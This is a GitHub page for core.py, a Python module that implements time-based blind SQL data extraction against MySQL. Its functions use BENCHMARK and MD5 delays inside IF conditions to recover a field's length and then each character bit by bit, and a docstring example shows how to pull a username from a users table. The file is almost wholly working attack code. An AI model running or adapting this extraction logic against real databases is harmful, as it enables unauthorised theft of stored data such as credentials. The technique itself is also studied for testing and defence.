-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathcore.py
More file actions
167 lines (133 loc) · 4.24 KB
/
core.py
File metadata and controls
167 lines (133 loc) · 4.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
"""Core blind SQL extraction logic using timing-based techniques."""
import time
from typing import Any
def measure(cursor: Any, sql: str) -> float:
"""Execute a SQL query and return execution time in seconds.
Args:
cursor: Database cursor to execute the query.
sql: SQL query string to measure.
Returns:
Execution time in seconds as a float.
Raises:
Exception: If the SQL query fails to execute.
"""
start_time = time.time()
cursor.execute(sql)
end_time = time.time()
return end_time - start_time
def getlength(
cursor: Any,
field: str,
table: str,
where: str,
iters: int = 500000,
sensitivity: int = 100,
) -> int:
"""Extract the length of a field value using blind injection timing.
Args:
cursor: Database cursor to execute queries.
field: Field name to measure.
table: Table name to query.
where: WHERE clause condition.
iters: Number of benchmark iterations for timing delay.
sensitivity: Time ratio threshold to consider bit as 1.
Returns:
The length of the field value as an integer.
Raises:
Exception: If SQL query fails.
"""
accum = 0
mintime = measure(cursor, "SELECT CURDATE()")
if mintime == 0:
mintime = 0.0001
for b in range(0, 8):
bitpos = 1 << b
sql = (
f"SELECT IF(LENGTH({field}) & {bitpos}, "
f"BENCHMARK({iters}, MD5('cc')), 0) "
f"FROM {table} WHERE {where};"
)
exec_time = measure(cursor, sql)
bit = int((exec_time / mintime) > sensitivity)
if bit == 1:
accum += bitpos
return accum
def getbits(
cursor: Any,
pos: int,
field: str,
table: str,
where: str,
iters: int = 500000,
sensitivity: int = 100,
) -> int:
"""Extract a single character's bitmask at given position.
Args:
cursor: Database cursor to execute queries.
pos: Position of the character to extract (1-indexed).
field: Field name to extract from.
table: Table name to query.
where: WHERE clause condition.
iters: Number of benchmark iterations for timing delay.
sensitivity: Time ratio threshold to consider bit as 1.
Returns:
The bitmask value of the character at the given position.
Raises:
Exception: If SQL query fails.
"""
accum = 0
mintime = measure(cursor, "SELECT CURDATE()")
if mintime == 0:
mintime = 0.0001
for b in range(0, 8):
bitpos = 1 << b
sql = (
f"SELECT IF(ORD(SUBSTRING({field},{pos},1)) & {bitpos}, "
f"BENCHMARK({iters}, MD5('cc')), 0) "
f"FROM {table} WHERE {where};"
)
exec_time = measure(cursor, sql)
bit = int((exec_time / mintime) > sensitivity)
if bit == 1:
accum += bitpos
return accum
def getdata(
cursor: Any,
field: str,
table: str,
where: str,
iters: int = 500000,
sensitivity: int = 100,
max_length: int = 1000,
) -> str:
"""Extract the complete value from a field using blind injection.
Args:
cursor: Database cursor to execute queries.
field: Field name to extract.
table: Table name to query.
where: WHERE clause condition.
iters: Number of benchmark iterations for timing delay.
sensitivity: Time ratio threshold to consider bit as 1.
max_length: Maximum length to extract (default 1000).
Returns:
The extracted string value from the field.
Raises:
Exception: If SQL query fails.
Example:
>>> import MySQLdb
>>> db = MySQLdb.connect(host="localhost", user="root", passwd="pass", db="test")
>>> cursor = db.cursor()
>>> result = getdata(cursor, "username", "users", "id=1")
>>> print(result)
"""
length = getlength(cursor, field, table, where, iters, sensitivity)
if length == 0:
return ""
if length > max_length:
length = max_length
result = []
for i in range(1, length + 1):
char_code = getbits(cursor, i, field, table, where, iters, sensitivity)
char = chr(char_code)
result.append(char)
return "".join(result)